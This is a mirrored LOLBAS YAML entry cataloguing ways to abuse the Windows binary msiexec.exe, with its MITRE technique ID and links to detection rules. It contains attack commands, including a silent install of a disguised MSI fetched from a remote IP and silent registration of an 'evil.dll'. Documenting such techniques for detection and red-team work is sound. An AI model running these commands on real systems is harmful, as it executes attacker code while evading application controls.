mirror of
https://github.com/LOLBAS-Project/LOLBAS
synced 2024-12-27 23:37:58 +01:00
54 lines
2.5 KiB
YAML
54 lines
2.5 KiB
YAML
---
|
|
Name: Msiexec.exe
|
|
Description: Used by Windows to execute msi files
|
|
Author: 'Oddvar Moe'
|
|
Created: 2018-05-25
|
|
Commands:
|
|
- Command: msiexec /quiet /i cmd.msi
|
|
Description: Installs the target .MSI file silently.
|
|
Usecase: Execute custom made msi file with attack code
|
|
Category: Execute
|
|
Privileges: User
|
|
MitreID: T1218.007
|
|
OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
|
|
- Command: msiexec /q /i http://192.168.100.3/tmp/cmd.png
|
|
Description: Installs the target remote & renamed .MSI file silently.
|
|
Usecase: Execute custom made msi file with attack code from remote server
|
|
Category: Execute
|
|
Privileges: User
|
|
MitreID: T1218.007
|
|
OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
|
|
- Command: msiexec /y "C:\folder\evil.dll"
|
|
Description: Calls DLLRegisterServer to register the target DLL.
|
|
Usecase: Execute dll files
|
|
Category: Execute
|
|
Privileges: User
|
|
MitreID: T1218.007
|
|
OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
|
|
- Command: msiexec /z "C:\folder\evil.dll"
|
|
Description: Calls DLLRegisterServer to un-register the target DLL.
|
|
Usecase: Execute dll files
|
|
Category: Execute
|
|
Privileges: User
|
|
MitreID: T1218.007
|
|
OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
|
|
Full_Path:
|
|
- Path: C:\Windows\System32\msiexec.exe
|
|
- Path: C:\Windows\SysWOW64\msiexec.exe
|
|
Code_Sample:
|
|
- Code:
|
|
Detection:
|
|
- Sigma: https://github.com/SigmaHQ/sigma/blob/08ca62cc8860f4660e945805d0dd615ce75258c1/rules/windows/process_creation/win_susp_msiexec_web_install.yml
|
|
- Sigma: https://github.com/SigmaHQ/sigma/blob/08ca62cc8860f4660e945805d0dd615ce75258c1/rules/windows/process_creation/win_susp_msiexec_cwd.yml
|
|
- Elastic: https://github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/defense_evasion_network_connection_from_windows_binary.toml
|
|
- Splunk: https://github.com/splunk/security_content/blob/18f63553a9dc1a34122fa123deae2b2f9b9ea391/detections/endpoint/uninstall_app_using_msiexec.yml
|
|
- IOC: msiexec.exe retrieving files from Internet
|
|
Resources:
|
|
- Link: https://pentestlab.blog/2017/06/16/applocker-bypass-msiexec/
|
|
- Link: https://twitter.com/PhilipTsukerman/status/992021361106268161
|
|
Acknowledgement:
|
|
- Person: netbiosX
|
|
Handle: '@netbiosX'
|
|
- Person: Philip Tsukerman
|
|
Handle: '@PhilipTsukerman'
|